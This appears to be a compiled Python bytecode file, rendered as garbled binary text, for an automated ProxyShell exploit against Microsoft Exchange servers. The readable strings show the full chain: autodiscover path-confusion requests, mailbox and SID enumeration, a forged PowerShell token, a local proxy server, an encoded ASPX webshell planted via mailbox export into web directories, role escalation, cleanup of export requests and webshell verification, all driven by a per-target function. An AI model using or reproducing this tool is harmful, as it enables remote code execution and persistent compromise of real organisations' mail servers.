o
    óN±jV>  ã                   @   sž  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
Z
d dlZd dlZd dlm  mZ d dlmZmZ d dlmZ d dlmZ d dlmZ d dlmZmZ ejj ¡  i Z dd„ Z!d$d
d„Z"e"dƒZ#dd„ Z$G dd„ deeƒZ%G dd„ deƒZ&G dd„ dƒZ'dd„ Z(dd„ Z)d%dd„Z*d&dd„Z+e,dkrÍe  -¡ Z.e. /d ¡ e.j/d!e0dd" e. 1¡ Z2e+e2j3e2j4ƒZ5e6d#e	 7e5¡ ƒ dS dS )'é    N)Ú
HTTPServerÚBaseHTTPRequestHandler)ÚThreadingMixIn)Úpartial)ÚWSMan)Ú
PowerShellÚRunspacePoolc                 C   s,   t d| › dd t dg ¡ t| ƒ¡ d S )Nz[*] T)ÚflushÚlog)ÚprintÚSTATEÚ
setdefaultÚappendÚstr)Úmsg© r   ú\/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/./ps_driver.pyr
      s   r
   é   c                 C   s   d  tjtj| d¡S )NÚ )Úk)ÚjoinÚrandomÚchoicesÚstringÚascii_lowercase)Únr   r   r   Úrand_string   s   r   é   c                  C   sj   d} g d¢}d gt | ƒ }tt | ƒƒD ]}t| | ƒd@ }d||  ||< qd |¡}t t |¡¡ ¡ S )Nz<script language="JScript" runat="server" Page aspcompat=true>function Page_Load(){eval(Request["exec_code"],"unsafe");}</script>(   éG   éñ   é´   éæ   é   éj   ér   éH   é…   éN   éž   éë   éâ   éø   é”   éS   éà   é»   é    é   éè   éZ   é	   é«   éÛ   éã   éº   éÆ   é|   éÃ   r   éÝ   é9   r   é–   é0   éõ   é7   é`   é‚   éŒ   éÉ   é   éJ   ék   é   éó   éû   é   é&   é—   éÊ   é‘   é   é   éÄ   é2   é-   én   é1   é•   éÿ   éÙ   é#   éÑ   r   é^   éy   éÜ   éD   é;   é   é(   éÅ   éa   éW   é    é   é=   éƒ   é¹   éC   é¾   ég   éÒ   éF   éB   év   éÀ   ém   é[   é~   é²   é   é   é)   é<   é©   é   éT   é   éÚ   é]   éß   éö   é·   éÇ   éb   éÍ   é   é   éÓ   éi   é\   é†   éÖ   é   é÷   é¥   éf   éu   é¬   é±   éé   éE   é!   ép   é   é‡   éŸ   ét   é¤   é"   éL   éo   é¿   é   éV   éª   é.   é³   éx   é3   éP   é°   é£   é’   é¼   éÏ   é   é   é§   éc   éË   é   éM   é>   éK   é   é›   éO   éç   éð   éî   é­   é:   éµ   éY   é   éê   é@   éU   é%   éQ   éå   éz   é‰   é8   éh   éR   é{   éü   é'   é®   é×   é½   éú   é   éô   éÌ   éŽ   é_   éï   é5   éœ   é„   é+   é   éÕ   éw   é4   éI   é¶   é   é
   é   éq   éˆ   éý   é   é   éA   é}   é“   éØ   éX   é,   éÎ   éþ   é$   é¯   éÞ   é¸   é6   éÈ   é¡   é€   é¦   é™   é˜   é¨   é/   é   é   ée   és   éä   éÂ   é¢   éŠ   éÔ   éá   é   éÐ   é   é‹   é*   éò   éí   éš   éd   é?   éÁ   él   éù   éì   rY   z%02xr   )	ÚlenÚrangeÚordr   Úbase64Ú	b64encodeÚbinasciiÚ	unhexlifyÚdecode)ÚpayloadÚcompEncÚoutÚiÚtempr   r   r   Úwebshell_payload   s   
r(  c                   @   s   e Zd ZdS )ÚThreadedHTTPServerN)Ú__name__Ú
__module__Ú__qualname__r   r   r   r   r)  1   s    r)  c                       s,   e Zd Z‡ fdd„Zdd„ Zdd„ Z‡  ZS )Ú	PwnServerc                    s   || _ tƒ j|i |¤Ž d S ©N)Ú
proxyshellÚsuperÚ__init__)Úselfr/  ÚargsÚkwargs©Ú	__class__r   r   r1  5   s   zPwnServer.__init__c              
   C   s¼   d| j j› }t| jd ƒ}| jd }| j |¡ ¡ }t dd|¡}t dd|¡}z| j  	||d|i¡}|j
}W n tyL } zd	}W Y d }~nd }~ww |  d
¡ |  ¡  | j |¡ d S )Nz/powershell/?X-Rps-CAT=zcontent-lengthzcontent-typez<wsa:To>(.*?)</wsa:To>z/<wsa:To>http://127.0.0.1:80/powershell</wsa:To>zD<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>za<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>úContent-Typeó    rû   )r/  ÚtokenÚintÚheadersÚrfileÚreadr"  ÚreÚsubÚpostÚcontentÚ	ExceptionÚsend_responseÚend_headersÚwfileÚwrite)r2  Úpowershell_urlÚlengthÚcontent_typeÚ	post_dataÚrÚrespÚer   r   r   Údo_POST8   s    

€ÿ
zPwnServer.do_POSTc                 G   s   d S r.  r   )r2  Úformatr3  r   r   r   Úlog_messageG   s   zPwnServer.log_message)r*  r+  r,  r1  rN  rP  Ú__classcell__r   r   r5  r   r-  4   s    r-  c                   @   sP   e Zd Zddd„Zddd„Zd	d
„ Zdd„ Zdd„ Zdd„ Zdd„ Z	dd„ Z
dS )Ú
ProxyShellr   Frx   c                 C   sf   || _ | d¡r
|nd|› | _d | _d | _d | _d | _d | _d| _t	 
¡ | _|| j_|| _d| _d S )Núhttps://zHtTp://ifcoNFiG.mEzsMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36)ÚemailÚ
startswithÚexchange_urlÚlegacydnÚfqdnÚsidÚ	admin_sidr9  ÚclientidÚrequestsÚSessionÚsessionÚverifyÚtimeoutÚua)r2  rV  rT  r_  r`  r   r   r   r1  K   s   

zProxyShell.__init__Nc                 C   s^   |pi }d|v r|  dd¡}d|› d}nd|› d}| j› |› }| jj|||| jd}|S )NÚ
powershellz/powershell/z/%70owershell/z*/autodiscover/autodiscover.json?@evil.corpú2&Email=autodiscover/autodiscover.json%3F@evil.corpz3?&Email=autodiscover/autodiscover.json%3F@evil.corp)ÚurlÚdatar;  r`  )ÚreplacerV  r^  r@  r`  )r2  Úendpointre  r;  Úpathrd  rK  r   r   r   r@  X   s   zProxyShell.postc                 C   s0   d}t j| j| d| jd}|j d¡| _| jS )Nzo/autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corpF)r_  r`  zX-CalculatedBETarget)r\  ÚgetrV  r`  r;  rX  )r2  rM  rK  r   r   r   Úget_fqdnb   s   zProxyShell.get_fqdnc                 C   s¤   d}ddi}|   d||¡}t d|j¡}|td< |D ]5}dj|d}|   d	|ddi¡}|jd
krOd|jv rO|| _t d|j¡d | _t	d| j› ƒ | j  S qd S )Na¶  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory"><m:UnresolvedEntry>SMTP:</m:UnresolvedEntry></m:ResolveNames></soap:Body></soap:Envelope>r7  útext/xmlz/EWS/exchange.asmxz.(?:<t:EmailAddress>)(.+?)(?:</t:EmailAddress>)Úemailsa-  <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>{mail}</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>)Úmailz/autodiscover/autodiscover.xmlrû   ÚLegacyz"(?:<LegacyDN>)(.+?)(?:</LegacyDN>)r   zvalid mailbox: )
r@  r>  ÚfindallÚtextr   rO  Ústatus_coderT  rW  r
   )r2  re  r;  rK  rl  ÚemÚautodiscover_payloadÚ
r_legacydnr   r   r   Úget_legacydng   s   
€zProxyShell.get_legacydnc                 C   sŠ   | j d }ddddd| jdœ}|  d||¡}|j d	¡d
  d¡d | _| j dd
¡d
 dkr>| j dd
¡d d | _| jS | j| _| jS )Nu        Ã¤  	  	      ÚConnectz'{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}zOutlook/15.0.4815.1002z({C715155F-2BE8-44E0-BD34-2960067874C8}:2zapplication/mapi-http)zX-RequesttypezX-ClientinfozX-ClientapplicationzX-Requestidr7  ú
User-Agentz/mapi/emsmdbz	with SID rR   z and MasterAccountSidr   ú-Ú500z-500)rW  ra  r@  rp  ÚsplitrY  ÚrsplitrZ  )r2  re  r;  rK  r   r   r   Úget_sidv   s   
ÿzProxyShell.get_sidc                 C   sˆ   |   ¡ | _ztj| j| jdj| _W n ty   d| _Y nw tj| j	d | j d d| j› d| j
dœd| jd	}|jd
krB| jS d S )N©r`  ÚC715155F2BE844E0zC/autodiscover/autodiscover.json?@evil.corp/%70owershell/?X-Rps-CAT=rc  zPrivateComputer=true; ClientID=z!-BD342960067874C8; X-OWA-JS-PSD=1)ÚCookierw  F)r;  r_  r`  rû   )Ú	gen_tokenr9  r\  ri  r[  r`  rp  ÚcidrB  rV  ra  rq  )r2  Útr   r   r   Ú	get_token€   s   

ÿþzProxyShell.get_tokenc                 C   sz   | j }| j}tƒ }dj|t||d}|  d|ddi¡}z|j d¡d  d¡d	 }W |S  ty<   |jd d
… }Y |S w )Na  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><t:RequestServerVersion Version="Exchange2016" /><t:SerializedSecurityContext><t:UserSid>{sid}</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>{subj}</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>FileAttachment.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>{payload}</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>{mail}</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>)rY  Úsubjr#  rm  z/ews/exchange.asmxr7  rk  zResponseClass="rR   ú"r   rû   )	rT  rY  r(  rO  Úsubj_r@  rp  rz  rB  )r2  rm  rY  r#  Ú
send_emailÚpÚdr   r   r   Úset_ewsŠ   s   þþzProxyShell.set_ewsc                 C   s$  d}d}d}d}d}d}|dd  dd¡ |  dd¡ 7 }|d	t|ƒ  dd¡ | ¡  7 }|d
|  dd¡ 7 }|dt|ƒ  dd¡ | ¡  7 }|dt| jƒ  dd¡ | j ¡  7 }|dt| jƒ  dd¡ | j ¡  7 }|dt ddd¡ t|ƒ  dd¡ | ¡  7 }|dt dd¡ 7 }t |¡ 	¡ S )Nr   ÚWindowsÚKerberosr8  zS-1-5-32-544ó   VrR   Úlittleó   Tó   Có   Aó   Ló   Uó   Gz<IIrÖ   ó   Ez>I)
Úto_bytesr  ÚencoderT  rY  ÚstructÚpackr  r  r"  )r2  ÚversionÚttypeÚ
compressedÚ	auth_typeÚ	raw_tokenÚgsidr   r   r   r€  •   s      $$.zProxyShell.gen_token)r   Frx   r.  )r*  r+  r,  r1  r@  rj  ru  r|  rƒ  rŠ  r€  r   r   r   r   rR  J   s    




rR  c                 C   s8   t t| ƒ}td|f|ƒ}tj|jd}d|_| ¡  |S )Nr   )ÚtargetT)r   r-  r)  Ú	threadingÚThreadÚserve_foreverÚdaemonÚstart)r/  ÚportÚhandlerÚserverr‚  r   r   r   Ústart_server¡   s   
r©  c              	   C   sh   t dddd|ddd}t|ƒ}t|ƒ}| | ¡ | ¡ }||jjfW  d   ƒ S 1 s-w   Y  d S )Nz	127.0.0.1r   FÚbasicÚnever)ÚusernameÚpasswordÚsslr¦  ÚauthÚ
encryption)r   r   r   Ú
add_scriptÚinvokeÚstreamsÚerror)Úcommandr¦  ÚwsmanÚpoolÚpsÚoutputr   r   r   Úwsman_shell§   s   


$ürº  Úwhoamic              
   C   s`   ddi}zt j| ddi|ddd}|j|jfW S  ty/ } zd t|ƒfW  Y d }~S d }~ww )NÚ	exec_codezwResponse.Write("PWN|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion);r7  z!application/x-www-form-urlencodedFr   )r;  Úparamsr_  r`  )r\  r@  rq  rp  rB  r   )Ú	shell_urlÚcmdÚbodyÚfrM  r   r   r   Útest_webshell¯   s   €ÿrÂ  é  c                    s
  t   ¡ ‰‡ ‡fdd„}td| › dd}| dddœ}zÍtd	ƒ | ¡ }td
|› ƒ |s4d|d< |W S tdƒ | ¡ }|sEd|d< |W S td|› ƒ tdƒ | ¡ }td|› d|j› ƒ |j|_tdƒ | ¡ }|std|d< |W S td|d d… › dƒ tdƒ tdt	| 
¡ ƒ ƒ t dd¡}	t||	ƒ}
|j d¡d }ddg}d }|D ]4\}}|ƒ d!k rºtd"ƒ  n%tƒ d# }d$| | }|d%krÕ| d&¡d'  d(d)¡}n| d*¡d'  d(d)¡}d| › d)|› |› }td+|› |› ƒ ztd,|› d-|	ƒ W n ty } ztd.|› ƒ W Y d }~nd }~ww t  d/¡ ztd0|	ƒ W n ty? } ztd1|› ƒ W Y d }~nd }~ww d2|jt|f }zt||	ƒ\}}td3ƒ W n tyo } ztd4|› ƒ W Y d }~nd }~ww t  d5¡ td6ƒD ]_}t|ƒ\}}|d7krº|rºd8|v rºd9|d d7… vrºtd:|› d;|d d<… ›ƒ |jd=|d d7… ||j|j|d> d?} n|d7krËtd@|d d<… ›ƒ ntdA|› ƒ t  d6¡ qy|rÞ nq©|sædB|d< |W S  ty } zdC|› |d< |W  Y d }~S d }~ww )DNc                      s   ˆ t   ¡ ˆ  S r.  )Útimer   ©Úbudgetr¥  r   r   Úleftº   s   zrun_target.<locals>.leftrS  rx   r}  Úfailr   )ÚipÚstatusÚdetailrj  zfqdn=zno fqdnrË  z"get_legacydn (enumerate mailboxes)zno legacyDN / no mailboxz	legacydn=r|  zsid=z admin_sid=rƒ  zno tokenz
token ok (rµ   z...)z&set_ews (upload webshell into mailbox)zset_ews -> i N  i@œ  ú@r   )zHProgram Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\r¯  )zinetpub\wwwroot\aspnet_client\Úaspnet_clientFrc   zbudget low, stopping attemptsz.aspxz\\127.0.0.1\c$\rÍ  zinetpub\wwwroot\rR   ú\ú/z?Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\zwrite webshell -> zBNew-ManagementRoleAssignment -Role "Mailbox Import Export" -User "r…  zroleassign err r1   zXGet-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$falsezcleanup err z…New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq '%s')" -ExcludeDumpster -FilePath "%s"zexport req submittedzexport err r  r}   rû   zPWN|rB  zWEBSHELL OK: z -> r¨   Úsuccess)rÊ  rË  r¾  rT  rY  rX  Tzshell 200 but body: zshell probe code=zwebshell not confirmedzexception: )rÄ  rR  r
   rj  ru  r|  rZ  rY  rƒ  r   rŠ  r   Úrandintr©  rT  rz  r   rf  rº  rB  Úsleepr†  r  rÂ  Úupdate)rÉ  rÆ  rÇ  r¸  ÚresultrX  ÚldrY  Útokr¦  ÚsrvÚuserÚpathsÚgotÚ
shell_pathÚkindÚ
shell_nameÚuncÚrelr¾  rM  r¿  r%  ÚerrÚ_ÚcodeÚtxtr   rÅ  r   Ú
run_target¸   s²   
þ

€ÿ
€ÿ
ÿ€ÿ
,"
ÿ€þrä  Ú__main__rÉ  z--budget)ÚtypeÚdefaultzRESULT_JSON )r   )r»  )rÃ  )8Úargparser  r˜  r   r   r   r>  ÚsysrÄ  Újsonr¡  Úosr\  Úxml.etree.cElementTreeÚetreeÚcElementTreeÚETÚhttp.serverr   r   Úsocketserverr   Ú	functoolsr   Úpypsrp.wsmanr   Úpypsrp.powershellr   r   ÚpackagesÚurllib3Údisable_warningsr   r
   r   r†  r(  r)  r-  rR  r©  rº  rÂ  rä  r*  ÚArgumentParserÚapÚadd_argumentr:  Ú
parse_argsÚarÉ  rÆ  rK  r   Údumpsr   r   r   r   Ú<module>   s:   `
W

	V
ú